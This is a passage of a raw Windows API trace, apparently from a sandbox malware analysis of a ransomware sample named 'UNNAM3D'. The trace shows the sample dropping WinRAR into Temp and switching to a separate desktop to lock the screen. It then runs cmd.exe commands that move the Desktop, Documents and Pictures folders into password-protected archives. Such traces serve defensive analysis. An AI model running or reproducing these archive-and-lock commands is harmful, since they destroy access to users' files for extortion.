1875094464 [0041.049] GetWindowLongW (hWnd=0x20220, nIndex=-4) returned 78514982 [0041.049] GetWindowLongW (hWnd=0x20220, nIndex=-16) returned 1174405133 [0041.049] GetWindowLongW (hWnd=0x20220, nIndex=-12) returned 0 [0041.049] SetWindowLongW (hWnd=0x20220, nIndex=-12, dwNewLong=131616) returned 0 [0041.049] CallWindowProcW (lpPrevWndFunc=0x6fc3abc0, hWnd=0x20220, Msg=0x81, wParam=0x0, lParam=0x73e178) returned 0x1 [0041.049] CallWindowProcW (lpPrevWndFunc=0x6fc3abc0, hWnd=0x20220, Msg=0x83, wParam=0x0, lParam=0x73e164) returned 0x0 [0041.050] CallWindowProcW (lpPrevWndFunc=0x6fc3abc0, hWnd=0x20220, Msg=0x1, wParam=0x0, lParam=0x73e178) returned 0x0 [0041.050] GetWindow (hWnd=0x20220, uCmd=0x3) returned 0x60216 [0041.050] GetClientRect (in: hWnd=0x20220, lpRect=0x73de24 | out: lpRect=0x73de24) returned 1 [0041.050] GetWindowRect (in: hWnd=0x20220, lpRect=0x73de24 | out: lpRect=0x73de24) returned 1 [0041.050] GetParent (hWnd=0x20220) returned 0x80052 [0041.050] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x80052, lpPoints=0x73de24, cPoints=0x2 | out: lpPoints=0x73de24) returned -16515558 [0041.050] SetWindowTextW (hWnd=0x20220, lpString="What Happend?") returned 1 [0041.050] CallWindowProcW (lpPrevWndFunc=0x6fc3abc0, hWnd=0x20220, Msg=0xc, wParam=0x0, lParam=0x254647c) returned 0x1 [0041.051] CallWindowProcW (lpPrevWndFunc=0x6fc3abc0, hWnd=0x20220, Msg=0x5, wParam=0x0, lParam=0x1800a0) returned 0x0 [0041.051] CallWindowProcW (lpPrevWndFunc=0x6fc3abc0, hWnd=0x20220, Msg=0x3, wParam=0x0, lParam=0x4a000d) returned 0x0 [0041.051] GetClientRect (in: hWnd=0x20220, lpRect=0x73de7c | out: lpRect=0x73de7c) returned 1 [0041.051] GetWindowRect (in: hWnd=0x20220, lpRect=0x73de7c | out: lpRect=0x73de7c) returned 1 [0041.051] GetParent (hWnd=0x20220) returned 0x80052 [0041.051] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x80052, lpPoints=0x73de7c, cPoints=0x2 | out: lpPoints=0x73de7c) returned -16515558 [0041.051] SendMessageW (hWnd=0x20220, Msg=0x2210, wParam=0x2200001, lParam=0x20220) returned 0x0 [0041.051] CallWindowProcW (lpPrevWndFunc=0x6fc3abc0, hWnd=0x20220, Msg=0x2210, wParam=0x2200001, lParam=0x20220) returned 0x0 [0041.051] CallWindowProcW (lpPrevWndFunc=0x6fc3abc0, hWnd=0x20220, Msg=0x18, wParam=0x1, lParam=0x0) returned 0x0 [0041.051] GetParent (hWnd=0x20220) returned 0x80052 [0041.051] GetCurrentActCtx (in: lphActCtx=0x73e754 | out: lphActCtx=0x73e754*=0x9af7f4) returned 1 [0041.052] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fbc0000 [0041.052] GetModuleHandleW (lpModuleName=0x0) returned 0xd0000 [0041.052] CreateWindowExW (dwExStyle=0x0, lpClassName="WindowsForms10.STATIC.app.0.141b42a_r9_ad1", lpWindowName="-YOUR FILES HAVE BEEN LOCKED-", dwStyle=0x5600000d, X=12, Y=22, nWidth=398, nHeight=25, hWndParent=0x80052, hMenu=0x0, hInstance=0xd0000, lpParam=0x0) returned 0x50218 [0041.053] SetWindowLongW (hWnd=0x50218, nIndex=-4, dwNewLong=1875094464) returned 78514782 [0041.053] GetWindowLongW (hWnd=0x50218, nIndex=-4) returned 1875094464 [0041.053] SetWindowLongW (hWnd=0x50218, nIndex=-4, dwNewLong=78515022) returned 1875094464 [0041.053] GetWindowLongW (hWnd=0x50218, nIndex=-4) returned 78515022 [0041.053] GetWindowLongW (hWnd=0x50218, nIndex=-16) returned 1174405133 [0041.053] GetWindowLongW (hWnd=0x50218, nIndex=-12) returned 0 [0041.053] SetWindowLongW (hWnd=0x50218, nIndex=-12, dwNewLong=328216) returned 0 [0041.053] CallWindowProcW (lpPrevWndFunc=0x6fc3abc0, hWnd=0x50218, Msg=0x81, wParam=0x0, lParam=0x73e178) returned 0x1 [0041.054] CallWindowProcW (lpPrevWndFunc=0x6fc3abc0, hWnd=0x50218, Msg=0x83, wParam=0x0, lParam=0x73e164) returned 0x0 [0041.054] CallWindowProcW (lpPrevWndFunc=0x6fc3abc0, hWnd=0x50218, Msg=0x1, wParam=0x0, lParam=0x73e178) returned 0x0 [0041.054] GetWindow (hWnd=0x50218, uCmd=0x3) returned 0x20220 [0041.054] GetClientRect (in: hWnd=0x50218, lpRect=0x73de24 | out: lpRect=0x73de24) returned 1 [0041.054] GetWindowRect (in: hWnd=0x50218, lpRect=0x73de24 | out: lpRect=0x73de24) returned 1 [0041.055] GetParent (hWnd=0x50218) returned 0x80052 [0041.055] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x80052, lpPoints=0x73de24, cPoints=0x2 | out: lpPoints=0x73de24) returned -16515558 [0041.055] SetWindowTextW (hWnd=0x50218, lpString="-YOUR FILES HAVE BEEN LOCKED-") returned 1 [0041.055] CallWindowProcW (lpPrevWndFunc=0x6fc3abc0, hWnd=0x50218, Msg=0xc, wParam=0x0, lParam=0x2607afc) returned 0x1 [0041.055] CallWindowProcW (lpPrevWndFunc=0x6fc3abc0, hWnd=0x50218, Msg=0x5, wParam=0x0, lParam=0x19018e) returned 0x0 [0041.055] CallWindowProcW (lpPrevWndFunc=0x6fc3abc0, hWnd=0x50218, Msg=0x3, wParam=0x0, lParam=0x16000c) returned 0x0 [0041.055] GetClientRect (in: hWnd=0x50218, lpRect=0x73de7c | out: lpRect=0x73de7c) returned 1 [0041.055] GetWindowRect (in: hWnd=0x50218, lpRect=0x73de7c | out: lpRect=0x73de7c) returned 1 [0041.055] GetParent (hWnd=0x50218) returned 0x80052 [0041.055] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x80052, lpPoints=0x73de7c, cPoints=0x2 | out: lpPoints=0x73de7c) returned -16515558 [0041.055] SendMessageW (hWnd=0x50218, Msg=0x2210, wParam=0x2180001, lParam=0x50218) returned 0x0 [0041.055] CallWindowProcW (lpPrevWndFunc=0x6fc3abc0, hWnd=0x50218, Msg=0x2210, wParam=0x2180001, lParam=0x50218) returned 0x0 [0041.055] CallWindowProcW (lpPrevWndFunc=0x6fc3abc0, hWnd=0x50218, Msg=0x18, wParam=0x1, lParam=0x0) returned 0x0 [0041.056] GetParent (hWnd=0x50218) returned 0x80052 [0041.056] GetCurrentActCtx (in: lphActCtx=0x73e754 | out: lphActCtx=0x73e754*=0x9af7f4) returned 1 [0041.056] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fbc0000 [0041.056] GetModuleHandleW (lpModuleName=0x0) returned 0xd0000 [0041.056] CreateWindowExW (dwExStyle=0x0, lpClassName="WindowsForms10.Window.8.app.0.141b42a_r9_ad1", lpWindowName=0x0, dwStyle=0x56000000, X=260, Y=202, nWidth=290, nHeight=228, hWndParent=0x80052, hMenu=0x0, hInstance=0xd0000, lpParam=0x0) returned 0x3021a [0041.056] SetWindowLongW (hWnd=0x3021a, nIndex=-4, dwNewLong=1952448832) returned 78513814 [0041.057] GetWindowLongW (hWnd=0x3021a, nIndex=-4) returned 1952448832 [0041.057] SetWindowLongW (hWnd=0x3021a, nIndex=-4, dwNewLong=78515062) returned 1952448832 [0041.057] GetWindowLongW (hWnd=0x3021a, nIndex=-4) returned 78515062 [0041.057] GetWindowLongW (hWnd=0x3021a, nIndex=-16) returned 1174405120 [0041.057] GetWindowLongW (hWnd=0x3021a, nIndex=-12) returned 0 [0041.057] SetWindowLongW (hWnd=0x3021a, nIndex=-12, dwNewLong=197146) returned 0 [0041.057] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x3021a, Msg=0x81, wParam=0x0, lParam=0x73e178) returned 0x1 [0041.057] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x3021a, Msg=0x83, wParam=0x0, lParam=0x73e164) returned 0x0 [0041.057] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x3021a, Msg=0x1, wParam=0x0, lParam=0x73e178) returned 0x0 [0041.057] GetWindow (hWnd=0x3021a, uCmd=0x3) returned 0x50218 [0041.058] GetClientRect (in: hWnd=0x3021a, lpRect=0x73de60 | out: lpRect=0x73de60) returned 1 [0041.058] GetWindowRect (in: hWnd=0x3021a, lpRect=0x73de60 | out: lpRect=0x73de60) returned 1 [0041.058] GetParent (hWnd=0x3021a) returned 0x80052 [0041.058] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x80052, lpPoints=0x73de60, cPoints=0x2 | out: lpPoints=0x73de60) returned -16515558 [0041.058] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x3021a, Msg=0x5, wParam=0x0, lParam=0xe40122) returned 0x0 [0041.058] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x3021a, Msg=0x3, wParam=0x0, lParam=0xca0104) returned 0x0 [0041.058] GetClientRect (in: hWnd=0x3021a, lpRect=0x73deb8 | out: lpRect=0x73deb8) returned 1 [0041.058] GetWindowRect (in: hWnd=0x3021a, lpRect=0x73deb8 | out: lpRect=0x73deb8) returned 1 [0041.058] GetParent (hWnd=0x3021a) returned 0x80052 [0041.058] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x80052, lpPoints=0x73deb8, cPoints=0x2 | out: lpPoints=0x73deb8) returned -16515558 [0041.058] SendMessageW (hWnd=0x3021a, Msg=0x2210, wParam=0x21a0001, lParam=0x3021a) returned 0x0 [0041.058] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x3021a, Msg=0x2210, wParam=0x21a0001, lParam=0x3021a) returned 0x0 [0041.058] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x3021a, Msg=0x18, wParam=0x1, lParam=0x0) returned 0x0 [0041.059] GetParent (hWnd=0x3021a) returned 0x80052 [0041.059] GetWindowTextLengthW (hWnd=0x80052) returned 22 [0041.059] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x80052, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x16 [0041.059] GetSystemMetrics (nIndex=42) returned 0 [0041.059] GetWindowTextW (in: hWnd=0x80052, lpString=0x73e6dc, nMaxCount=23 | out: lpString="UNNAM3D - R@NSOMEWARE!") returned 22 [0041.059] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x80052, Msg=0xd, wParam=0x17, lParam=0x73e6dc) returned 0x16 [0041.059] CoTaskMemAlloc (cb=0x23b) returned 0x9ca0c0 [0041.224] CoTaskMemAlloc (cb=0x20c) returned 0x9c42c8 [0041.224] GetTempPathW (in: nBufferLength=0x104, lpBuffer=0x9c42c8 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\") returned 0x23 [0041.224] CoTaskMemFree (pv=0x9c42c8) [0041.224] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\", nBufferLength=0x105, lpBuffer=0x73e11c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\", lpFilePart=0x0) returned 0x23 [0041.226] CoTaskMemAlloc (cb=0x37) returned 0x9b05b8 [0041.229] CoTaskMemAlloc (cb=0x52) returned 0x9d1d50 [0041.612] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\WinRAR.exe", nBufferLength=0x105, lpBuffer=0x73dff4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\WinRAR.exe", lpFilePart=0x0) returned 0x2d [0041.612] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x73e538) returned 1 [0041.612] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\WinRAR.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\winrar.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x36c [0041.613] GetFileType (hFile=0x36c) returned 0x1 [0041.613] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x73e534) returned 1 [0041.613] GetFileType (hFile=0x36c) returned 0x1 [0041.613] WriteFile (in: hFile=0x36c, lpBuffer=0x416e598*, nNumberOfBytesToWrite=0x22bcd8, lpNumberOfBytesWritten=0x73e5e8, lpOverlapped=0x0 | out: lpBuffer=0x416e598*, lpNumberOfBytesWritten=0x73e5e8*=0x22bcd8, lpOverlapped=0x0) returned 1 [0041.665] CloseHandle (hObject=0x36c) returned 1 [0041.888] GdipLoadImageFromStream (stream=0x4b3fff0, image=0x73e050) returned 0x0 [0041.901] GdipImageForceValidation (image=0x5f40380) returned 0x0 [0042.036] GdipGetImageType (image=0x5f40380, type=0x73e04c) returned 0x0 [0042.036] GdipGetImageRawFormat (image=0x5f40380, format=0x73dfc0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0))) returned 0x0 [0042.123] GdipGetImageRawFormat (image=0x5f40380, format=0x73e664*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0))) returned 0x0 [0042.125] GdipGetImageEncodersSize (numEncoders=0x73e618, size=0x73e614) returned 0x0 [0042.126] GdipGetImageEncoders (in: numEncoders=0x5, size=0x410, encoders=0x6b1a800 | out: encoders=0x6b1a800) returned 0x0 [0042.130] LocalFree (hMem=0x6b1a800) returned 0x0 [0042.131] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\Wallpaper.png", nBufferLength=0x105, lpBuffer=0x73e05c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\Wallpaper.png", lpFilePart=0x0) returned 0x30 [0042.131] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\Wallpaper.png", nBufferLength=0x105, lpBuffer=0x73e00c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\Wallpaper.png", lpFilePart=0x0) returned 0x30 [0042.131] GdipSaveImageToFile (image=0x5f40380, filename="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\\\Wallpaper.png", clsidEncoder=0x73e62c*(Data1=0x557cf406, Data2=0x1a04, Data3=0x11d3, Data4=([0]=0x9a, [1]=0x73, [2]=0x0, [3]=0x0, [4]=0xf8, [5]=0x1e, [6]=0xf3, [7]=0x2e)), encoderParams=0x0) returned 0x0 [0042.246] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x44933d0, Length=0x20000, ResultLength=0x73e614 | out: SystemInformation=0x44933d0, ResultLength=0x73e614*=0x153f0) returned 0x0 [0042.276] CoTaskMemAlloc (cb=0x3b) returned 0x9999e8 [0042.278] CoTaskMemAlloc (cb=0x21) returned 0x9b44f8 [0042.285] GetCurrentThreadId () returned 0xeb4 [0042.300] GetThreadDesktop (dwThreadId=0xeb4) returned 0x140 [0042.301] CoTaskMemAlloc (cb=0x38) returned 0x9b0138 [0042.309] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MeinTestDesktop", cchWideChar=15, lpMultiByteStr=0x73e594, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MeinTestDesktop", lpUsedDefaultChar=0x0) returned 15 [0042.310] CreateDesktopA (lpszDesktop="MeinTestDesktop", lpszDevice=0x0, pDevmode=0x0, dwFlags=0x0, dwDesiredAccess=0x1ff, lpsa=0x0) returned 0x36c [0042.314] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x80052, Msg=0x1a, wParam=0x0, lParam=0x63d0e8) returned 0x0 [0042.316] SystemParametersInfoW (in: uiAction=0x26, uiParam=0x0, pvParam=0x73e1f8, fWinIni=0x0 | out: pvParam=0x73e1f8) returned 1 [0042.317] CoTaskMemAlloc (cb=0x28) returned 0x9b43d8 [0042.323] SetThreadDesktop (hDesktop=0x36c) returned 0 [0042.324] SwitchDesktop (hDesktop=0x36c) returned 1 [0042.368] LocalAlloc (uFlags=0x0, uBytes=0x10) returned 0x9ccec0 [0042.368] PostMessageW (hWnd=0x60044, Msg=0x201a, wParam=0x0, lParam=0x9ccec0) returned 1 [0042.368] NtdllDefWindowProc_W (hWnd=0x60044, Msg=0x1a, wParam=0x0, lParam=0x63da38) returned 0x0 [0045.742] CoTaskMemAlloc (cb=0x20c) returned 0x9c43f8 [0045.742] SHGetFolderPathW (in: hwnd=0x0, csidl=5, hToken=0x0, dwFlags=0x0, pszPath=0x9c43f8 | out: pszPath="C:\\Users\\FD1HVy\\Documents") returned 0x0 [0045.748] CoTaskMemFree (pv=0x9c43f8) [0045.748] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents", nBufferLength=0x105, lpBuffer=0x73e078, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents", lpFilePart=0x0) returned 0x19 [0045.749] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\UNNAM3D - RANSM.exe", nBufferLength=0x105, lpBuffer=0x73e094, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\UNNAM3D - RANSM.exe", lpFilePart=0x0) returned 0x2b [0045.749] CoTaskMemAlloc (cb=0x20c) returned 0x9c43f8 [0045.749] GetTempPathW (in: nBufferLength=0x104, lpBuffer=0x9c43f8 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\") returned 0x23 [0045.749] CoTaskMemFree (pv=0x9c43f8) [0045.749] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\", nBufferLength=0x105, lpBuffer=0x73e11c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\", lpFilePart=0x0) returned 0x23 [0045.749] CoTaskMemAlloc (cb=0x20c) returned 0x9c43f8 [0045.749] SHGetFolderPathW (in: hwnd=0x0, csidl=39, hToken=0x0, dwFlags=0x0, pszPath=0x9c43f8 | out: pszPath="C:\\Users\\FD1HVy\\Pictures") returned 0x0 [0045.751] CoTaskMemFree (pv=0x9c43f8) [0045.751] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures", nBufferLength=0x105, lpBuffer=0x73e078, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures", lpFilePart=0x0) returned 0x18 [0045.751] CoTaskMemAlloc (cb=0x20c) returned 0x9c43f8 [0045.751] SHGetFolderPathW (in: hwnd=0x0, csidl=0, hToken=0x0, dwFlags=0x0, pszPath=0x9c43f8 | out: pszPath="C:\\Users\\FD1HVy\\Desktop") returned 0x0 [0045.753] CoTaskMemFree (pv=0x9c43f8) [0045.753] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop", nBufferLength=0x105, lpBuffer=0x73e078, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop", lpFilePart=0x0) returned 0x17 [0046.131] LocalAlloc (uFlags=0x0, uBytes=0x10) returned 0x9ccea8 [0046.131] LocalAlloc (uFlags=0x0, uBytes=0xd8) returned 0x9ca308 [0046.131] ShellExecuteExW (in: pExecInfo=0x263e7e0*(cbSize=0x3c, fMask=0x540, hwnd=0x0, lpVerb=0x0, lpFile="cmd.exe", lpParameters="/C cd C:\\Users\\FD1HVy\\Desktop && C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\\\WinRAR.exe m -r -pMyPassword Desktop *", lpDirectory=0x0, nShow=0, hInstApp=0x0, lpIDList=0x0, lpClass=0x0, hkeyClass=0x0, dwHotKey=0x0, hIcon=0x0, hMonitor=0x0, hProcess=0x0) | out: pExecInfo=0x263e7e0*(cbSize=0x3c, fMask=0x540, hwnd=0x0, lpVerb=0x0, lpFile="cmd.exe", lpParameters="/C cd C:\\Users\\FD1HVy\\Desktop && C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\\\WinRAR.exe m -r -pMyPassword Desktop *", lpDirectory=0x0, nShow=0, hInstApp=0x2a, lpIDList=0x0, lpClass=0x0, hkeyClass=0x0, dwHotKey=0x0, hIcon=0x0, hMonitor=0x0, hProcess=0x58c)) returned 1 [0053.379] LocalFree (hMem=0x9ccea8) returned 0x0 [0053.379] LocalFree (hMem=0x9ca308) returned 0x0 [0053.379] CloseHandle (hObject=0x58c) returned 1 [0053.379] LocalAlloc (uFlags=0x0, uBytes=0x10) returned 0xa09288 [0053.379] LocalAlloc (uFlags=0x0, uBytes=0xe0) returned 0xa0dbb0 [0053.379] ShellExecuteExW (in: pExecInfo=0x263ea28*(cbSize=0x3c, fMask=0x540, hwnd=0x0, lpVerb=0x0, lpFile="cmd.exe", lpParameters="/C cd C:\\Users\\FD1HVy\\Documents && C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\\\WinRAR.exe m -r -pMyPassword Documents *", lpDirectory=0x0, nShow=0, hInstApp=0x0, lpIDList=0x0, lpClass=0x0, hkeyClass=0x0, dwHotKey=0x0, hIcon=0x0, hMonitor=0x0, hProcess=0x0) | out: pExecInfo=0x263ea28*(cbSize=0x3c, fMask=0x540, hwnd=0x0, lpVerb=0x0, lpFile="cmd.exe", lpParameters="/C cd C:\\Users\\FD1HVy\\Documents && C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\\\WinRAR.exe m -r -pMyPassword Documents *", lpDirectory=0x0, nShow=0, hInstApp=0x2a, lpIDList=0x0, lpClass=0x0, hkeyClass=0x0, dwHotKey=0x0, hIcon=0x0, hMonitor=0x0, hProcess=0x598)) returned 1 [0053.464] LocalFree (hMem=0xa09288) returned 0x0 [0053.464] LocalFree (hMem=0xa0dbb0) returned 0x0 [0053.464] CloseHandle (hObject=0x598) returned 1 [0053.464] LocalAlloc (uFlags=0x0, uBytes=0x10) returned 0xa093d8 [0053.464] LocalAlloc (uFlags=0x0, uBytes=0xdc) returned 0xa0e778 [0053.464] ShellExecuteExW (in: pExecInfo=0x263ec50*(cbSize=0x3c, fMask=0x540, hwnd=0x0, lpVerb=0x0, lpFile="cmd.exe", lpParameters="/C cd C:\\Users\\FD1HVy\\Pictures && C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\\\WinRAR.exe m -r -pMyPassword Pictures *", lpDirectory=0x0, nShow=0, hInstApp=0x0, lpIDList=0x0, lpClass=0x0, hkeyClass=0x0, dwHotKey=0x0, hIcon=0x0, hMonitor=0x0, hProcess=0x0) | out: pExecInfo=0x263ec50*(cbSize=0x3c, fMask=0x540, hwnd=0x0, lpVerb=0x0, lpFile="cmd.exe", lpParameters="/C cd C:\\Users\\FD1HVy\\Pictures && C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\\\WinRAR.exe m -r -pMyPassword Pictures *", lpDirectory=0x0, nShow=0, hInstApp=0x2a, lpIDList=0x0, lpClass=0x0, hkeyClass=0x0, dwHotKey=0x0, hIcon=0x0, hMonitor=0x0, hProcess=0x588)) returned 1 [0053.628] LocalFree (hMem=0xa093d8) returned 0x0 [0053.628] LocalFree (hMem=0xa0e778) returned 0x0 [0053.629] SleepEx (dwMilliseconds=0xbb8, bAlertable=1) returned 0x0 [0056.792] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x44933d0, Length=0x20000, ResultLength=0x73e614 | out: SystemInformation=0x44933d0, ResultLength=0x73e614*=0x16a40) returned 0x0 [0056.802] SleepEx (dwMilliseconds=0xbb8, bAlertable=1) returned 0x0 [0060.135] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x44933d0, Length=0x20000, ResultLength=0x73e614 | out: SystemInformation=0x44933d0, ResultLength=0x73e614*=0x16f18) returned 0x0 [0060.139] SleepEx (dwMilliseconds=0xbb8, bAlertable=1) returned 0x0 [0063.479] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x44933d0, Length=0x20000, ResultLength=0x73e614 | out: SystemInformation=0x44933d0, ResultLength=0x73e614*=0x17ac0) returned 0x0 [0063.483] SleepEx (dwMilliseconds=0xbb8, bAlertable=1) returned 0x0 [0066.896] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x44933d0, Length=0x20000, ResultLength=0x73e614 | out: SystemInformation=0x44933d0, ResultLength=0x73e614*=0x208a0) returned 0xc0000004 [0066.898] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x44b33f0, Length=0x230a0, ResultLength=0x73e614 | out: SystemInformation=0x44b33f0, ResultLength=0x73e614*=0x18200) returned 0x0 [0066.907] SleepEx (dwMilliseconds=0xbb8, bAlertable=1) returned 0x0 [0070.246] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x44b33f0, Length=0x230a0, ResultLength=0x73e614 | out: SystemInformation=0x44b33f0, ResultLength=0x73e614*=0x17f58) returned 0x0 [0070.250] SleepEx (dwMilliseconds=0xbb8, bAlertable=1) returned 0x0 [0073.471] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x44b33f0, Length=0x230a0, ResultLength=0x73e614 | out: SystemInformation=0x44b33f0, ResultLength=0x73e614*=0x17718) returned 0x0 [0073.508] SleepEx (dwMilliseconds=0xbb8, bAlertable=1) returned 0x0 [0076.551] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x44b33f0, Length=0x230a0, ResultLength=0x73e614 | out: SystemInformation=0x44b33f0, ResultLength=0x73e614*=0x16dd8) returned 0x0 [0076.560] SleepEx (dwMilliseconds=0xbb8, bAlertable=1) returned 0x0 [0079.687] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x44b33f0, Length=0x230a0, ResultLength=0x73e614 | out: SystemInformation=0x44b33f0, ResultLength=0x73e614*=0x16910) returned 0x0 [0079.689] SleepEx (dwMilliseconds=0xbb8, bAlertable=1) returned 0x0 [0082.732] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x44b33f0, Length=0x230a0, ResultLength=0x73e614 | out: SystemInformation=0x44b33f0, ResultLength=0x73e614*=0x17828) returned 0x0 [0082.734] SleepEx (dwMilliseconds=0xbb8, bAlertable=1) returned 0x0 [0085.756] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x44b33f0, Length=0x230a0, ResultLength=0x73e614 | out: SystemInformation=0x44b33f0, ResultLength=0x73e614*=0x17250) returned 0x0 [0085.760] SleepEx (dwMilliseconds=0xbb8, bAlertable=1) returned 0x0 [0088.811] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x44b33f0, Length=0x230a0, ResultLength=0x73e614 | out: SystemInformation=0x44b33f0, ResultLength=0x73e614*=0x16118) returned 0x0 [0088.812] SleepEx (dwMilliseconds=0xbb8, bAlertable=1) returned 0x0 [0091.882] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x44b33f0, Length=0x230a0, ResultLength=0x73e614 | out: SystemInformation=0x44b33f0, ResultLength=0x73e614*=0x16010) returned 0x0 [0091.885] SleepEx (dwMilliseconds=0xbb8, bAlertable=1) returned 0x0 [0094.971] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x44b33f0, Length=0x230a0, ResultLength=0x73e614 | out: SystemInformation=0x44b33f0, ResultLength=0x73e614*=0x162c0) returned 0x0 [0094.974] SleepEx (dwMilliseconds=0xbb8, bAlertable=1) returned 0x0 [0098.022] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x44b33f0, Length=0x230a0, ResultLength=0x73e614 | out: SystemInformation=0x44b33f0, ResultLength=0x73e614*=0x16480) returned 0x0 [0098.023] SleepEx (dwMilliseconds=0xbb8, bAlertable=1) returned 0x0 [0101.038] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x44b33f0, Length=0x230a0, ResultLength=0x73e614 | out: SystemInformation=0x44b33f0, ResultLength=0x73e614*=0x16400) returned 0x0 [0101.040] SleepEx (dwMilliseconds=0xbb8, bAlertable=1) returned 0x0 [0104.054] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x44b33f0, Length=0x230a0, ResultLength=0x73e614 | out: SystemInformation=0x44b33f0, ResultLength=0x73e614*=0x16230) returned 0x0 [0104.057] SleepEx (dwMilliseconds=0xbb8, bAlertable=1) returned 0x0 [0107.096] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x44b33f0, Length=0x230a0, ResultLength=0x73e614 | out: SystemInformation=0x44b33f0, ResultLength=0x73e614*=0x16130) returned 0x0 [0107.098] SleepEx (dwMilliseconds=0xbb8, bAlertable=1) returned 0x0 [0110.120] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x44b33f0, Length=0x230a0, ResultLength=0x73e614 | out: SystemInformation=0x44b33f0, ResultLength=0x73e614*=0x15d70) returned 0x0 [0110.124] SleepEx (dwMilliseconds=0xbb8, bAlertable=1) returned 0x0 [0113.133] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x44b33f0, Length=0x230a0, ResultLength=0x73e614 | out: SystemInformation=0x44b33f0, ResultLength=0x73e614*=0x15dc0) returned 0x0 [0113.140] SleepEx (dwMilliseconds=0xbb8, bAlertable=1) returned 0x0 [0116.147] NtQuerySystemInformation (in: 